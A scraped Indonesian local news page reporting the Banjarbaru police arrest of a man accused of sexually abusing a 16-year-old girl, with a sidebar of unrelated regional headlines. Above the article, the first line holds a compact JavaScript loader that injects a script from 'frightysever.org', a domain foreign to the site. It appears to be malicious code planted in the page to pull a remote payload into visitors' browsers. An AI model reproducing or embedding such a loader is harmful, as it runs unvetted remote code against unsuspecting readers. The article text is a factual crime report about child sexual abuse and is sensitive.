(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Lima Bulan Setelah Meraba Bagian Terlarang, Akhirnya S Harus Mendekam di Sel


BANJARBARU, Setelah 5 bulan lebih, akhirnya Buser Polres Banjarbaru berhasil menangkap pelaku kasus pencabulan anak di bawah umur yang terjadi di Kecamatan Cempaka.

Pelaku tindak asusila adalah S alias IG (35) warga Pasar Ulin RT 18 RW 06 Kelurahan Cempaka, Kecamatan Cempaka, Kota Banjarbaru. S alias IG melakukan pencabulan terhadap anak bernama NA (16) di teras rumah milik warga Basung I Cempaka RT 014 RW 005.

Kapolres Banjarbaru AKBP Kelana Jaya melalui Kasat Reskrim Polres Banjarbaru AKP Sudarno mengungkapkan, kejadian itu terungkap pada bulan Februari silama, tepatnya Senin (26/2) sekitar pukul 10.30 Wita.

“Bulan Februari terjadi tindak pidana pencabulan yang dialami NA. Namun baru dilaporkan keluarga korban Maret lalu,” ungkapnya.

Saat itu ibu korban mendapatkan informasi dari saksi berinisial JM melihat bahwa anaknya NA telah dicabuli S dengan cara dipegang di bagian dada, diraba-raba tubuhnya hingga sampai kemaluan korban.

Aksinya diketahui saksi, kemudian JM langsung memanggil warga sehingga aksinya tidak dilanjutkan. Tidak terima atas kejadian tersebut ibu korban melaporkan ke Polres Banjarbaru pada awal Maret.

Atas laporan tersebut pihak kepolisian melakukan pencarian terhadap tersangka S alias IG. Akhirnya, pada Kamis (2/8) sekitar pukul 20.00 Wita unit Buser Polres Banjarbaru mendapatkan informasi tersangka terlihat di kampung.

Unit Buser Polres Banjarbaru melakukan kordinasi dengan unit Buser Polsek Banjarbaru Timur, kemudian tim gabungan pun memburu pelaku di sekitar kampung yang diduga tersangka terlihat.

“Tim gabungan menemukan tersangka yang mana pada saat itu sedang berada di rumah temannya yang berada di daerah Cempaka,” tutur AKP Sudarno. Tersangka S dkemudian dibawa ke Polres Banjarbaru untuk mempertanggung jawabkan perbuatannya. (rico)

Repoter: Rico
Editor: Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.